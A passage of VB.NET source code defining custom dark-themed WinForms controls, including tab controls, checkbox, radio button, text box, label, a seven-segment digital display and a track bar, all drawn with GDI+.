Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), 0, 0, 0, Height) .DrawLine(New Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), Width - 1, 0, Width - 1, Height) .DrawLine(New Pen(New SolidBrush(Color.FromArgb(70, 70, 70))), 0, Height - 1, Width, Height - 1) DrawTriangle(Color.FromArgb(66, 130, 181), New Point(Width - 14, 8), New Point(Width - 7, 8), New Point(Width - 11, 11), G) End With Catch End Try End Sub End Class Public Class NewTopTabControl : Inherits TabControl Private _TabBrColor As Color Public Property TabBorderColor() As Color Get Return _TabBrColor End Get Set(ByVal v As Color) _TabBrColor = v Invalidate() End Set End Property Private _ControlBColor As Color Public Property TabTextColor() As Color Get Return _ControlBColor End Get Set(ByVal v As Color) _ControlBColor = v Invalidate() End Set End Property Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) End Sub Sub New() MyBase.New() SetStyle(ControlStyles.AllPaintingInWmPaint Or _ ControlStyles.ResizeRedraw Or _ ControlStyles.UserPaint Or _ ControlStyles.DoubleBuffer, True) TabBorderColor = Color.White TabTextColor = Color.FromArgb(60, 130, 181) End Sub Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) Dim G As Graphics = e.Graphics MyBase.OnPaint(e) Dim r2 As New Rectangle(0, 0, Width - 1, 25) Dim r3 As New Rectangle(0, 0, Width - 1, 25) Dim r4 As New Rectangle(2, 0, Width - 1, 13) Dim ItemBounds As Rectangle Dim TextBrush As New SolidBrush(Color.Empty) Dim TabBrush As New SolidBrush(Color.DimGray) G.Clear(Color.FromArgb(32, 32, 32)) G.DrawRectangle(New Pen(New SolidBrush(Color.FromArgb(28, 28, 28))), New Rectangle(1, 1, Width - 3, Height - 3)) G.FillRectangle(New SolidBrush(Color.FromArgb(35, 35, 35)), r2) For TabItemIndex As Integer = 0 To Me.TabCount - 1 ItemBounds = Me.GetTabRect(TabItemIndex) If CBool(TabItemIndex And 1) Then TabBrush.Color = Color.Transparent Else TabBrush.Color = Color.Transparent End If G.FillRectangle(TabBrush, ItemBounds) Dim BorderPen As Pen If TabItemIndex = SelectedIndex Then BorderPen = New Pen(Color.Transparent, 1) Dim dgb As New LinearGradientBrush(New Rectangle(ItemBounds.Location.X + 3, ItemBounds.Location.Y + 3, ItemBounds.Width - 8, ItemBounds.Height - 6), Color.FromArgb(50, 50, 50), Color.FromArgb(42, 42, 42), 90S) Dim gloss As New LinearGradientBrush(New Rectangle(ItemBounds.Location.X + 3, ItemBounds.Location.Y + 3, ItemBounds.Width - 8, ItemBounds.Height / 2 - 5), Color.FromArgb(80, Color.White), Color.FromArgb(20, Color.White), 90S) G.FillRectangle(dgb, New Rectangle(ItemBounds.Location.X + 3, ItemBounds.Location.Y + 3, ItemBounds.Width - 8, ItemBounds.Height - 6)) G.FillRectangle(gloss, New Rectangle(ItemBounds.Location.X + 3, ItemBounds.Location.Y + 3, ItemBounds.Width - 8, ItemBounds.Height / 2 - 4)) G.DrawRectangle(New Pen(New SolidBrush(Color.FromArgb(10, 10, 10))), New Rectangle(ItemBounds.Location.X + 3, ItemBounds.Location.Y + 3, ItemBounds.Width - 8, ItemBounds.Height - 6)) G.DrawRectangle(New Pen(New SolidBrush(Color.FromArgb(100, 50, 50, 50))), New Rectangle(ItemBounds.Location.X + 4, ItemBounds.Location.Y + 4, ItemBounds.Width - 10, ItemBounds.Height - 8)) Dim r1 As New Rectangle(1, 1, Width - 1, 3) Else BorderPen = New Pen(Color.Transparent, 1) End If G.DrawRectangle(BorderPen, New Rectangle(ItemBounds.Location.X + 3, ItemBounds.Location.Y + 1, ItemBounds.Width - 8, ItemBounds.Height - 4)) BorderPen.Dispose() Dim sf As New StringFormat sf.LineAlignment = StringAlignment.Center sf.Alignment = StringAlignment.Center If Me.SelectedIndex = TabItemIndex Then TextBrush.Color = TabTextColor Else TextBrush.Color = Color.DimGray End If G.DrawString( _ Me.TabPages(TabItemIndex).Text, _ Me.Font, TextBrush, _ RectangleF.op_Implicit(Me.GetTabRect(TabItemIndex)), sf) Try Me.TabPages(TabItemIndex).BackColor = Color.FromArgb(40, 40, 40) Catch End Try Next Try For Each tabpg As TabPage In Me.TabPages tabpg.BorderStyle = BorderStyle.None Next Catch End Try G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(10, 10, 10))), 2, 24, Width - 2, 24) G.DrawRectangle((New Pen(New SolidBrush(Color.Black))), New Rectangle(1, 1, Width - 3, Height - 3)) G.DrawRectangle((New Pen(New SolidBrush(Color.FromArgb(70, 70, 70)))), New Rectangle(0, 0, Width - 1, Height - 1)) G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), 0, 0, Width, 0) G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), 0, 0, 0, Height) G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), Width - 1, 0, Width - 1, Height) G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(31, 31, 31))), 2, 2, Width - 3, 2) End Sub End Class Class NewCheck Inherits ThemeControl Private _CheckedState As Boolean Public Property CheckedState() As Boolean Get Return _CheckedState End Get Set(ByVal v As Boolean) _CheckedState = v Invalidate() End Set End Property Sub New() Size = New Size(100, 15) MinimumSize = New Size(16, 16) MaximumSize = New Size(600, 16) CheckedState = False C1 = Color.FromArgb(132, 192, 240) C2 = Color.FromArgb(65, 65, 65) C3 = Color.FromArgb(132, 192, 240) C4 = Color.FromArgb(65, 65, 65) C5 = Color.FromArgb(35, 35, 35) C6 = Color.FromArgb(40, 40, 40) P1 = Color.FromArgb(25, 25, 25) P2 = Color.FromArgb(59, 59, 59) B1 = Color.FromArgb(66, 130, 181) End Sub Dim C1, C2, C3, C4, C5, C6, P1, P2, B1 As Color Public Overrides Sub PaintHook() G.Clear(C6) Select Case CheckedState Case True DrawGradient(C1, C2, 3, 3, 10, 9, 90S) DrawGradient(C3, C4, 4, 4, 10, 7, 90S) Case False DrawGradient(C5, C5, 0, 0, 15, 15, 90S) End Select G.DrawRectangle(New Pen(New SolidBrush(P1)), 0, 0, 14, 14) G.DrawRectangle(New Pen(New SolidBrush(P2)), 1, 1, 12, 12) DrawText(HorizontalAlignment.Left, (B1), 17, 0) DrawCorners(C6, New Rectangle(0, 0, 13, 13)) End Sub Sub changeCheck() Handles Me.Click Select Case CheckedState Case True CheckedState = False Case False CheckedState = True End Select End Sub End Class Class NewRadio Inherits ThemeControl Dim OuterColor As Color = Color.FromArgb(25, 25, 25) : Dim InnerColor As Color = Color.FromArgb(59, 59, 59) Dim TC As Color = Color.FromArgb(66, 130, 181) : Dim CheckColor As Color = Color.FromArgb(132, 192, 240) Dim BC As Color = Color.FromArgb(40, 40, 40) Event CheckChanged() Private _index As Integer = 0 Public Property Index() As Integer Get Return _index End Get Set(ByVal value As Integer) _index = value Invalidate() End Set End Property Public Overrides Sub PaintHook() G.Clear(BC) DrawText(HorizontalAlignment.Left, TC, 17) Select Case _Checked Case True G.FillEllipse(New SolidBrush(CheckColor), 1, 1, 12, 12) Case False G.FillEllipse(New SolidBrush(BC), 1, 1, 12, 12) End Select G.DrawEllipse(New Pen(New SolidBrush(OuterColor)), 0, 0, 14, 14) G.DrawEllipse(New Pen(New SolidBrush(InnerColor)), 1, 1, 12, 12) End Sub Sub New() AllowTransparent() ForeColor = Color.White Dim S As New Size(22, 16) : Size = S MinimumSize = New Size(16, 16) MaximumSize = New Size(600, 16) Font = New Font("Verdana", 8S) 'remove if using 1.51 End Sub Sub tcc() Handles Me.TextChanged Invalidate() End Sub Sub RemoveCheck() For Each Ctrl As Control In Parent.Controls If TypeOf Ctrl Is NewRadio Then If Ctrl.Handle = Me.Handle Then Continue For If Not (DirectCast(Ctrl, NewRadio).Index = Me.Index) Then Continue For DirectCast(Ctrl, NewRadio).Checked = False End If Next End Sub Dim _Checked As Boolean = False Property Checked() As Boolean Get Return _Checked End Get Set(ByVal value As Boolean) If value = _Checked Then Exit Property _Checked = value Invalidate() RaiseEvent CheckChanged() End Set End Property Sub changeCheck() Handles Me.Click _Checked = True RemoveCheck() End Sub End Class Class NewTextBox Inherits ThemeControl Dim WithEvents tb1 As TextBox Public Sub New() tb1 = New TextBox AllowTransparent() tb1.Parent = Me tb1.Size = New Size(New Point(100, 20)) tb1.ForeColor = Color.FromArgb(66, 130, 181) tb1.BackColor = Color.FromArgb(50, 50, 50) tb1.BorderStyle = BorderStyle.FixedSingle MinimumSize = New Size(0, 20) : Size = MinimumSize End Sub Public Overrides Sub PaintHook() G.Clear(Parent.BackColor) End Sub Public Property Multiline() As Boolean Get Return tb1.Multiline End Get Set(ByVal value As Boolean) tb1.Multiline = value Invalidate() End Set End Property Public Property UseSystemPasswordChar() As Boolean Get Return tb1.UseSystemPasswordChar End Get Set(ByVal value As Boolean) tb1.UseSystemPasswordChar = value Invalidate() End Set End Property Sub s() Handles Me.Invalidated If tb1.Multiline = False Then Height = tb1.Height End Sub Private Sub res() Handles Me.SizeChanged tb1.Width = Width tb1.Height = Height End Sub <Editor(MultilineEditor, UITypeEditor)> _ Public Overrides Property Text() As String Get Return tb1.Text End Get Set(ByVal value As String) tb1.Text = value Invalidate() End Set End Property End Class <Designer("System.Windows.Forms.Design.LabelDesigner, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")> _ Class NewLabel Inherits ThemeControl Private _txt As String Shadows ForeColor As Color = Color.FromArgb(66, 130, 181) Public Overrides Sub PaintHook() G.Clear(Parent.BackColor) If _auto Then ADF() G.FillRectangle(New SolidBrush(Parent.BackColor), 0, 0, Width, Height) G.DrawString(_txt, Font, New SolidBrush(ForeColor), 0, 0) End Sub Sub New() AllowTransparent() Dim s As New Size(16, 20) : Size = s End Sub Sub ADF() Dim hinst As Graphics = Me.CreateGraphics Dim j As SizeF = hinst.MeasureString(Text, Font) Size = New Size(j.Width, j.Height) End Sub <Editor(MultilineEditor, UITypeEditor)> _ Public Overrides Property Text() As String Get Return _txt End Get Set(ByVal value As String) _txt = value Invalidate() End Set End Property Private _auto As Boolean = True <ComVisible(True), Browsable(True)> _ Public Overrides Property AutoSize() As Boolean Get Return _auto End Get Set(ByVal value As Boolean) _auto = value Invalidate() End Set End Property Sub ss() Handles Me.TextChanged _txt = Me.Text 'If _auto = True Then Invalidate() End Sub End Class Public Class NewTabControl Inherits TabControl Private _HeaderWidth As Integer Private _HeaderHeight As Integer Private _HeaderAlignment As System.Drawing.ContentAlignment Private _HeaderPadding As System.Windows.Forms.Padding Private _HeaderFont As Font Private _HeaderBackColor As Color Private _HeaderBackBrush As SolidBrush Private _HeaderBorderColor As Color Private _HeaderBackPen As Pen Private _HeaderForeColor As Color Private _HeaderForeBrush As SolidBrush Private _HeaderSelectedBackColor As Color Private _HeaderSelectedBackBrush As SolidBrush Private _HeaderSelectedForeColor As Color Private _HeaderSelectedForeBrush As Brush Private _BackColor As Color Private _BackBrush As System.Drawing.SolidBrush #Region " Header Properties " <System.ComponentModel.DefaultValue(100)> _ Public Property HeaderWidth() As Integer Get Return Me._HeaderWidth End Get Set(ByVal value As Integer) Me._HeaderWidth = value Me.ItemSize = New Size(Me.ItemSize.Width, value) End Set End Property <System.ComponentModel.DefaultValue(32)> _ Public Property HeaderHeight() As Integer Get Return Me._HeaderHeight End Get Set(ByVal value As Integer) Me._HeaderHeight = value Me.ItemSize = New Size(value, Me.ItemSize.Height) End Set End Property <System.ComponentModel.DefaultValue(GetType(System.Drawing.ContentAlignment), "ContentAlignment.MiddleLeft")> _ Public Property HeaderAlignment() As System.Drawing.ContentAlignment Get Return Me._HeaderAlignment End Get Set(ByVal value As System.Drawing.ContentAlignment) Me._HeaderAlignment = value Me.Invalidate() End Set End Property <System.ComponentModel.DefaultValue(GetType(System.Windows.Forms.Padding), "3,3,3,3")> _ Public Property HeaderPadding() As System.Windows.Forms.Padding Get Return Me._HeaderPadding End Get Set(ByVal value As System.Windows.Forms.Padding) Me._HeaderPadding = value Me.Invalidate() End Set End Property <System.ComponentModel.DefaultValue(GetType(Color), "White")> _ Public Property HeaderBorderColor() As Color Get Return Me._HeaderBorderColor End Get Set(ByVal value As Color) If Not value = Me._HeaderBorderColor Then Me._HeaderBorderColor = value If Me._HeaderBackPen IsNot Nothing Then Me._HeaderBackPen.Dispose() Me._HeaderBackPen = Nothing End If Me.Invalidate() End If End Set End Property <System.ComponentModel.DefaultValue(GetType(Color), "LightGray")> _ Public Property HeaderBackColor() As Color Get Return Me._HeaderBackColor End Get Set(ByVal value As Color) If Not value = Me._HeaderBackColor Then Me._HeaderBackColor = value If Me._HeaderBackBrush IsNot Nothing Then Me._HeaderBackBrush.Dispose() Me._HeaderBackBrush = Nothing End If Me.Invalidate() End If End Set End Property Private ReadOnly Property HeaderBackBrush() As SolidBrush Get If Me._HeaderBackBrush Is Nothing Then Me._HeaderBackBrush = New SolidBrush(Me.HeaderBackColor) End If Return Me._HeaderBackBrush End Get End Property Private ReadOnly Property HeaderPen() As Pen Get If Me._HeaderBackPen Is Nothing Then Me._HeaderBackPen = New Pen(Me.HeaderBorderColor) End If Return Me._HeaderBackPen End Get End Property <System.ComponentModel.DefaultValue(GetType(Color), "Black")> _ Public Property HeaderForeColor() As Color Get Return Me._HeaderForeColor End Get Set(ByVal value As Color) If Not value = Me._HeaderForeColor Then Me._HeaderForeColor = value If Me._HeaderForeBrush IsNot Nothing Then Me._HeaderForeBrush.Dispose() Me._HeaderForeBrush = Nothing End If Me.Invalidate() End If End Set End Property Private ReadOnly Property HeaderForeBrush() As SolidBrush Get If Me._HeaderForeBrush Is Nothing Then Me._HeaderForeBrush = New SolidBrush(Me.HeaderForeColor) End If Return Me._HeaderForeBrush End Get End Property <System.ComponentModel.DefaultValue(GetType(Color), "DarkGray")> _ Public Property HeaderSelectedBackColor() As Color Get Return Me._HeaderSelectedBackColor End Get Set(ByVal value As Color) If Not value = Me._HeaderSelectedBackColor Then Me._HeaderSelectedBackColor = value If Me._HeaderSelectedBackBrush IsNot Nothing Then Me._HeaderSelectedBackBrush.Dispose() Me._HeaderSelectedBackBrush = Nothing End If Me.Invalidate() End If End Set End Property Private ReadOnly Property HeaderSelectedBackBrush() As SolidBrush Get If Me._HeaderSelectedBackBrush Is Nothing Then Me._HeaderSelectedBackBrush = New SolidBrush(Me.HeaderSelectedBackColor) End If Return Me._HeaderSelectedBackBrush End Get End Property <System.ComponentModel.DefaultValue(GetType(Color), "Black")> _ Public Property HeaderSelectedForeColor() As Color Get Return Me._HeaderSelectedForeColor End Get Set(ByVal value As Color) If Not value = Me._HeaderSelectedForeColor Then Me._HeaderSelectedForeColor = value Me._HeaderSelectedForeBrush.Dispose() Me._HeaderSelectedForeBrush = Nothing Me.Invalidate() End If End Set End Property Private ReadOnly Property HeaderSelectedForeBrush() As SolidBrush Get If Me._HeaderSelectedForeBrush Is Nothing Then Me._HeaderSelectedForeBrush = New SolidBrush(Me.HeaderSelectedForeColor) End If Return Me._HeaderSelectedForeBrush End Get End Property Public Property HeaderFont() As Font Get Return Me._HeaderFont End Get Set(ByVal value As Font) Me._HeaderFont = value Me.Invalidate() End Set End Property #End Region <System.ComponentModel.DefaultValue(GetType(Color), "White")> _ <System.ComponentModel.Browsable(True)> _ Public Overrides Property BackColor() As Color Get Return Me._BackColor End Get Set(ByVal value As Color) If Not Me._BackColor = value Then Me._BackColor = value If Me._BackBrush IsNot Nothing Then Me._BackBrush.Dispose() Me._BackBrush = Nothing End If Me.Invalidate() End If End Set End Property Private ReadOnly Property BackBrush() As SolidBrush Get If Me._BackBrush Is Nothing Then Me._BackBrush = New SolidBrush(Me.BackColor) End If Return Me._BackBrush End Get End Property Public Sub New() Me._HeaderWidth = 100 Me._HeaderHeight = 32 Me._HeaderAlignment = ContentAlignment.MiddleLeft Me._HeaderPadding = New Padding(3) Me._BackColor = Color.FromArgb(40, 40, 40) Me._HeaderBorderColor = Color.FromArgb(40, 40, 40) Me._HeaderFont = Me.Font Me._HeaderForeColor = Color.FromArgb(66, 130, 181) Me._HeaderBackColor = Color.FromArgb(50, 50, 50) Me._HeaderSelectedBackColor = Color.FromArgb(65, 65, 65) Me._HeaderSelectedForeColor = Color.FromArgb(66, 130, 181) Me.DrawMode = TabDrawMode.OwnerDrawFixed Me.SizeMode = TabSizeMode.Fixed Me.Alignment = TabAlignment.Left Me.ItemSize = New Size(Me.HeaderHeight, Me.HeaderWidth) Me.SetStyle(ControlStyles.AllPaintingInWmPaint, True) Me.SetStyle(ControlStyles.UserPaint, True) Me.SetStyle(ControlStyles.SupportsTransparentBackColor, True) For Each tp As TabPage In Me.TabPages tp.BackColor = Color.Transparent tp.CreateGraphics.DrawRectangle(New Pen(Color.FromArgb(65, 65, 65)), New Rectangle(0, 0, tp.Width - 1, tp.Height - 1)) Next End Sub Private Sub TabP() Handles Me.SelectedIndexChanged If TabPages.Count < 1 Then Exit Sub For Each tp As TabPage In Me.TabPages tp.BackColor = Color.Transparent tp.CreateGraphics.Clear(Me.BackColor) tp.CreateGraphics.DrawRectangle(New Pen(Color.Black), New Rectangle(0, 0, tp.Width - 1, tp.Height - 1)) Next End Sub Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) Dim g As Graphics g = e.Graphics g.FillRectangle(Me.BackBrush, e.ClipRectangle) ' background For i As Integer = 0 To Me.TabPages.Count - 1 Call Me.DrawTabButton(g, i) Call Me.DrawTabText(g, i) Next End Sub Private Sub DrawTabButton(ByVal g As Graphics, ByVal TabPageIndex As Integer) Dim r As Rectangle ' get the tab rectangle r = Me.GetTabRect(TabPageIndex) ' increase its width we dont want the background in between r.Width = r.Width + 2 ' if first tab page If TabPageIndex = 0 Then ' reduce its height and move it a little bit lower ' since in tab control first tab button is displayed a little ' bit heigher r.Height = r.Height - 2 r.Y = r.Y + 2 End If ' if given tab button is selected If Me.SelectedIndex = TabPageIndex Then ' use selected properties g.FillRectangle(Me.HeaderSelectedBackBrush, r) ' if currently focused then draw focus rectangle If Me.Focused Then System.Windows.Forms.ControlPaint.DrawFocusRectangle(g, New Rectangle(r.Left + 2, r.Top + 2, r.Width - 4, r.Height - 5)) End If Else ' else (not the selected tab page) g.FillRectangle(Me.HeaderBackBrush, r) End If ' if first tab button If TabPageIndex = 0 Then ' draw a line on top g.DrawLine(Me.HeaderPen, r.Left, r.Top, r.Right, r.Top) End If ' line at left g.DrawLine(Me.HeaderPen, r.Left, r.Top, r.Left, r.Bottom - 1) ' line at bottom g.DrawLine(Me.HeaderPen, r.Left, r.Bottom - 1, r.Right, r.Bottom - 1) ' no line at right since we want to give an effect of ' pages End Sub Private Sub DrawTabText(ByVal g As Graphics, ByVal TabPageIndex As Integer) Dim iX As Integer Dim iY As Integer Dim sText As String Dim sizeText As SizeF Dim rectTab As Rectangle ' get tab button rectangle rectTab = Me.GetTabRect(TabPageIndex) ' get text sText = Me.TabPages(TabPageIndex).Text ' measure the size of text sizeText = g.MeasureString(sText, Me.HeaderFont) ' check text alignment Select Case Me.HeaderAlignment Case ContentAlignment.MiddleLeft, ContentAlignment.BottomLeft, ContentAlignment.TopLeft iX = rectTab.Left + Me.HeaderPadding.Left Case ContentAlignment.MiddleRight, ContentAlignment.BottomRight, ContentAlignment.TopRight iX = rectTab.Right - sizeText.Width - Me.HeaderPadding.Right Case ContentAlignment.MiddleCenter, ContentAlignment.BottomCenter, ContentAlignment.TopCenter iX = rectTab.Left + (rectTab.Width - Me.HeaderPadding.Left - Me.HeaderPadding.Right - sizeText.Width) / 2 End Select Select Case Me.HeaderAlignment Case ContentAlignment.TopLeft, ContentAlignment.TopCenter, ContentAlignment.TopRight iY = rectTab.Top + Me.HeaderPadding.Top Case ContentAlignment.BottomLeft, ContentAlignment.BottomCenter, ContentAlignment.BottomRight iY = rectTab.Bottom - sizeText.Height - Me.HeaderPadding.Bottom Case ContentAlignment.MiddleCenter, ContentAlignment.MiddleLeft, ContentAlignment.MiddleRight iY = rectTab.Top + (rectTab.Height - Me.HeaderPadding.Top - sizeText.Height) / 2 End Select ' if selected tab button If Me.SelectedIndex = TabPageIndex Then g.DrawString(sText, Me.HeaderFont, Me.HeaderSelectedForeBrush, iX, iY) Else g.DrawString(sText, Me.HeaderFont, Me.HeaderForeBrush, iX, iY) End If End Sub End Class Partial Public Class NewDigitalDisplay Inherits Control Private _digitColor As Color = Color.FromArgb(66, 130, 181) Public Property DigitColor() As Color Get Return _digitColor End Get Set(ByVal value As Color) _digitColor = value Invalidate() End Set End Property Private _digitText As String = "88.88" Public Property DigitText() As String Get Return _digitText End Get Set(ByVal value As String) _digitText = value Invalidate() End Set End Property Public Sub New() Me.SetStyle(ControlStyles.DoubleBuffer, True) Me.SetStyle(ControlStyles.AllPaintingInWmPaint, True) Me.SetStyle(ControlStyles.ResizeRedraw, True) Me.SetStyle(ControlStyles.UserPaint, True) Me.SetStyle(ControlStyles.SupportsTransparentBackColor, True) Me.BackColor = Color.Transparent End Sub Private Sub DigitalGauge_Paint(ByVal sender As Object, ByVal e As PaintEventArgs) Handles MyBase.Paint e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias Dim sevenSegmentHelper As New SevenSegmentHelper(e.Graphics) Dim digitSizeF As SizeF = sevenSegmentHelper.GetStringSize(_digitText, Me.Font) Dim scaleFactor As Single = Math.Min(ClientSize.Width \ digitSizeF.Width, ClientSize.Height \ digitSizeF.Height) Dim font As New Font(Me.Font.FontFamily, scaleFactor * Me.Font.SizeInPoints) digitSizeF = sevenSegmentHelper.GetStringSize(_digitText, font) Using brush As New SolidBrush(_digitColor) Using lightBrush As New SolidBrush(Color.FromArgb(20, _digitColor)) sevenSegmentHelper.DrawDigits(_digitText, font, brush, lightBrush, (ClientSize.Width - digitSizeF.Width) / 2, (ClientSize.Height - digitSizeF.Height) / 2) End Using End Using End Sub End Class Public Class SevenSegmentHelper Private _graphics As Graphics ' Indicates what segments are illuminated for all 10 digits Private Shared _segmentData(,) As Byte = {{1, 1, 1, 0, 1, 1, 1}, {0, 0, 1, 0, 0, 1, 0}, {1, 0, 1, 1, 1, 0, 1}, {1, 0, 1, 1, 0, 1, 1}, {0, 1, 1, 1, 0, 1, 0}, {1, 1, 0, 1, 0, 1, 1}, {1, 1, 0, 1, 1, 1, 1}, {1, 0, 1, 0, 0, 1, 0}, {1, 1, 1, 1, 1, 1, 1}, {1, 1, 1, 1, 0, 1, 1}, {0, 0, 0, 1, 0, 0, 0}, {1, 1, 1, 1, 1, 0, 0}, {1, 1, 1, 1, 1, 1, 0}} ' Points that define each of the seven segments Private ReadOnly _segmentPoints(6)() As Point Public Sub New(ByVal graphics As Graphics) Me._graphics = graphics _segmentPoints(0) = New Point() {New Point(3, 2), New Point(39, 2), New Point(31, 10), New Point(11, 10)} _segmentPoints(1) = New Point() {New Point(2, 3), New Point(10, 11), New Point(10, 31), New Point(2, 35)} _segmentPoints(2) = New Point() {New Point(40, 3), New Point(40, 35), New Point(32, 31), New Point(32, 11)} _segmentPoints(3) = New Point() {New Point(3, 36), New Point(11, 32), New Point(31, 32), New Point(39, 36), New Point(31, 40), New Point(11, 40)} _segmentPoints(4) = New Point() {New Point(2, 37), New Point(10, 41), New Point(10, 61), New Point(2, 69)} _segmentPoints(5) = New Point() {New Point(40, 37), New Point(40, 69), New Point(32, 61), New Point(32, 41)} _segmentPoints(6) = New Point() {New Point(11, 62), New Point(31, 62), New Point(39, 70), New Point(3, 70)} End Sub Public Function GetStringSize(ByVal text As String, ByVal font As Font) As SizeF Dim sizef As New SizeF(0, _graphics.DpiX * font.SizeInPoints / 72) For i As Integer = 0 To text.Length - 1 If Char.IsDigit(text.Chars(i)) OrElse text.Chars(i) = "-"c Then sizef.Width += 42 * _graphics.DpiX * font.SizeInPoints / 72 \ 72 ElseIf text.Chars(i) = ":"c OrElse text.Chars(i) = "."c Then sizef.Width += 12 * _graphics.DpiX * font.SizeInPoints / 72 \ 72 End If Next i Return sizef End Function Public Sub DrawDigits(ByVal text As String, ByVal font As Font, ByVal brush As Brush, ByVal brushLight As Brush, ByVal x As Single, ByVal y As Single) For cnt As Integer = 0 To text.Length - 1 ' For digits 0-9 If Char.IsDigit(text.Chars(cnt)) Then x = DrawDigit(AscW(text.Chars(cnt)) - AscW("0"c), font, brush, brushLight, x, y) ' For colon : ElseIf text.Chars(cnt) = ":"c Then x = DrawColon(font, brush, x, y) ' For dot . ElseIf text.Chars(cnt) = "."c Then x = DrawDot(font, brush, x, y) ElseIf text.Chars(cnt) = "-"c Then x = DrawMinus(font, brush, brushLight, x, y) ElseIf text.Chars(cnt) = "P"c Then x = DrawP(font, brush, brushLight, x, y) ElseIf text.Chars(cnt) = "A"c Then x = DrawP(font, brush, brushLight, x, y) End If Next cnt End Sub Private Function DrawDigit(ByVal num As Integer, ByVal font As Font, ByVal brush As Brush, ByVal brushLight As Brush, ByVal x As Single, ByVal y As Single) As Single For cnt As Integer = 0 To _segmentPoints.Length - 1 If _segmentData(num, cnt) = 1 Then FillPolygon(_segmentPoints(cnt), font, brush, x, y) Else FillPolygon(_segmentPoints(cnt), font, brushLight, x, y) End If Next cnt Return x + 42 * _graphics.DpiX * font.SizeInPoints / 72 \ 72 End Function Private Function DrawDot(ByVal font As Font, ByVal brush As Brush, ByVal x As Single, ByVal y As Single) As Single Dim dotPoints(0)() As Point dotPoints(0) = New Point() {New Point(2, 64), New Point(6, 61), New Point(10, 64), New Point(6, 69)} For cnt As Integer = 0 To dotPoints.Length - 1 FillPolygon(dotPoints(cnt), font, brush, x, y) Next cnt Return x + 12 * _graphics.DpiX * font.SizeInPoints / 72 \ 72 End Function Private Function DrawMinus(ByVal font As Font, ByVal brush As Brush, ByVal brushLight As Brush, ByVal x As Single, ByVal y As Single) As Single DrawDigit(10, font, brush, brushLight, x, y) Return x + 42 * _graphics.DpiX * font.SizeInPoints / 72 \ 72 End Function Private Function DrawP(ByVal font As Font, ByVal brush As Brush, ByVal brushLight As Brush, ByVal x As Single, ByVal y As Single) As Single DrawDigit(11, font, brush, brushLight, x, y) Return x + 42 * _graphics.DpiX * font.SizeInPoints / 72 \ 72 End Function Private Function DrawA(ByVal font As Font, ByVal brush As Brush, ByVal brushLight As Brush, ByVal x As Single, ByVal y As Single) As Single DrawDigit(12, font, brush, brushLight, x, y) Return x + 42 * _graphics.DpiX * font.SizeInPoints / 72 \ 72 End Function Private Function DrawColon(ByVal font As Font, ByVal brush As Brush, ByVal x As Single, ByVal y As Single) As Single Dim colonPoints(1)() As Point colonPoints(0) = New Point() {New Point(2, 21), New Point(6, 17), New Point(10, 21), New Point(6, 25)} colonPoints(1) = New Point() {New Point(2, 51), New Point(6, 47), New Point(10, 51), New Point(6, 55)} For cnt As Integer = 0 To colonPoints.Length - 1 FillPolygon(colonPoints(cnt), font, brush, x, y) Next cnt Return x + 12 * _graphics.DpiX * font.SizeInPoints / 72 \ 72 End Function Private Sub FillPolygon(ByVal polygonPoints() As Point, ByVal font As Font, ByVal brush As Brush, ByVal x As Single, ByVal y As Single) Dim polygonPointsF(polygonPoints.Length - 1) As PointF For cnt As Integer = 0 To polygonPoints.Length - 1 polygonPointsF(cnt).X = x + polygonPoints(cnt).X * _graphics.DpiX * font.SizeInPoints / 72 \ 72 polygonPointsF(cnt).Y = y + polygonPoints(cnt).Y * _graphics.DpiY * font.SizeInPoints / 72 \ 72 Next cnt _graphics.FillPolygon(brush, polygonPointsF) End Sub End Class <DefaultEvent("Scroll"), _ DefaultProperty("Value")> _ Public Class NewTrackBar Inherits Control Public Sub New() MyBase.New() Me.Size = New Size(145, 11) Me.SetStyle(ControlStyles.SupportsTransparentBackColor Or ControlStyles.OptimizedDoubleBuffer Or _ ControlStyles.AllPaintingInWmPaint Or ControlStyles.Selectable Or ControlStyles.UserMouse, True) Me.Thumb = New Rectangle() Me.LayoutTrackBarParts() End Sub Public Event Scroll As EventHandler Public Event ValueChanged As EventHandler Private _orientation As Orientation = Orientation.Horizontal Private _minimum As Int32 Private _maximum As Int32 = 100 'Private _smallChange As Int32 = 1 Private _largeChange As Int32 = 5 Private _value As Int32 Private _tickFrequency As Int32 = 1 Private _thumbDragging As Boolean Private _scrollUp As Boolean Private Thumb As Rectangle Private _thumbFocused As Boolean Private scrollTimer As Timer <DefaultValue(GetType(Orientation), "Horizontal")> _ Public Property Orientation() As Orientation Get Return _orientation End Get Set(ByVal value As Orientation) If (_orientation <> value) Then _orientation = value Dim w, h As Int32 w = Me.Height h = Me.Width Me.Size = New Size(w, h) Me.LayoutTrackBarParts() Me.Invalidate() End If End Set End Property <DefaultValue(0), _ RefreshProperties(RefreshProperties.All)> _ Public Property Minimum() As Int32 Get Return _minimum End Get Set(ByVal value As Int32) If (_minimum <> value) Then _minimum = value If (_maximum <= value) Then _maximum = value End If Me.LayoutTrackBarParts() Me.Invalidate() End If End Set End Property <DefaultValue(100)> _ Public Property Maximum() As Int32 Get Return _maximum End Get Set(ByVal value As Int32) If (_maximum <> value) Then _maximum = value If (Minimum >= value) Then Minimum = value End If Me.LayoutTrackBarParts() Me.Invalidate() End If End Set End Property Public Property Value() As Int32 Get If (_value < Me.Minimum) Then Return Me.Minimum End If Return _value End Get Set(ByVal value As Int32) If (value < Me.Minimum) Then value = _minimum End If If (value > _maximum) Then value = _maximum End If If (value <> _value) Then _value = value Me.LayoutTrackBarParts() Me.OnValueChanged(EventArgs.Empty) End If End Set End Property Private ReadOnly Property Horizontal() As Boolean Get Return _orientation = Orientation.Horizontal End Get End Property Private Property ThumbDragging() As Boolean Get Return _thumbDragging End Get Set(ByVal value As Boolean) If (_thumbDragging <> value) Then _thumbDragging = value Me.Invalidate() End If End Set End Property Protected Overrides Sub OnPaint(ByVal e As 